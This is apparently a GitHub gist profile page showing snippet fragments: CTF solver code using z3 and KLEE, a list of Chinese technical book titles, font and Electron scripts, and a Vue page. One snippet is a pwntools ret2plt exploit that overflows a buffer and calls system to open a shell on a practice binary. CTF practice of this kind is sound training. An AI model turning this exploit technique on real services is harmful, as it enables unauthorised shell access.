Skip to content

Instantly share code, notes, and snippets.

View swt02026's full-sized avatar

LEE KUANTING swt02026

  • Sinopac Securities
View GitHub Profile
x = [Int('x'+i) for i in xrange(1,9)]
s = Solver()
for i in xrange(1,9):
s.add(x[i] < 256)
# first
s.add(((x[5] + x[6])*(x[5] + x[6]) + x[4] * x[4]) == 153844)
s.add(((x[5] + x[6])*(x[5] + x[6]) + x[3] * x[3]) == 131400)
260 航天高可靠嵌入式實時操作系統原理與技術
300 航天器控制計算機容錯技術
300 Windows環境下32位彙編語言程序設計
420 Windows內核安全與驅動開發
210 嵌入式Linux系統工程師實訓教程
500 徹底研究Linux核心API
150 (影印)嵌入式Linux性能詳解
300 操作系統真象還原
180 軟件測試之魂: 核心測試設計精解
200 格蠹匯編:軟件調試案例集錦
深入探索Android熱修復技術原理
Android插件化開發指南
最強Android書:架構大剖析
深入剖析Android新特性
Android軟件安全攻防實例分析
Android高性能編程
Android移動性能實戰
Android系統優化從入門到精通
Java高並發編程詳解:多線程與架構設計
Spring微服務實戰
import os
import itertools
sec1=[ 5,6 ]
sec2 = [16, 25]
sec3 = [2, 15, 26, 3, 23]
data_b = [20, 21]
@swt02026
swt02026 / font.py
Last active November 13, 2018 00:13
from fontTools.ttLib import TTFont
from base64 import b64decode
from pyquery import PyQuery as pq
import requests
import re
ins=open('instructions.txt').read().split('.')
b=list(map(len, ins[:-1]))
print b[0]
b.sort()
bits = (1296-len(b))*bytearray('0')
const {ipcMain, app, BrowserWindow} = require('electron');
const fs = require('fs');
const fsPromises = fs.promises;
console.log(process.version)
const path = 'd:\\Users\\swt02026\\Desktop\\zcb\\aaa.txt';
var position = 0;
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Our Code World Rocks</title>
<link rel="stylesheet" href="node_modules/vue-virtual-scroller/dist/vue-virtual-scroller.css">
<link rel="stylesheet" href="node_modules/bootstrap/dist/css/bootstrap.css">
<script src="node_modules/vue/dist/vue.js"></script>
<script src="node_modules/vue-virtual-scroller/dist/vue-virtual-scroller.min.js"></script>
</head>
name_adr=0x601070
system_plt = 0x400520
pop_rdi = 0x0000000000400733
from pwn import *
context.log_level = 'debug'
#r = remote('isc.taiwan-te.ch', 10005)
r=process('ret2plt')
r.sendlineafter('name?\n', 'sh\x00')
r.sendlineafter('something: ', 'a' *24 + p64(pop_rdi) +p64(name_adr)+p64(system_plt))
r.interactive()
@swt02026
swt02026 / CONFidenceCTF_elementary.c
Created March 18, 2019 11:07
CONFidenceCTF 2019 elementay use klee
#include <klee/klee.h>
#include <assert.h>
// 5F0: using guessed type long __isoc99_scanf(_QWORD, _QWORD);
//----- (00000000000007B2) ----------------------------------------------------
long function0(int a1)
{
return a1 ^ 1u;
}